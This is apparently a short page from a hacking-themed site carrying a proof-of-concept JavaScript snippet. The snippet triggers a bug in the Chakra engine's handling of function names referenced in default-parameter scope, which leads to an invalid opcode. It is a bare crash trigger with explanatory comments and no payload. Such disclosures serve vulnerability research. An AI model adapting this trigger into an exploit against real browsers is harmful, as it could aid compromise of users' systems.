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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
// PoC:

(function func(arg = function () {
    print(func);  // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function.
}()) {
    print(func);
    function func() {

    }
})();

// Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode.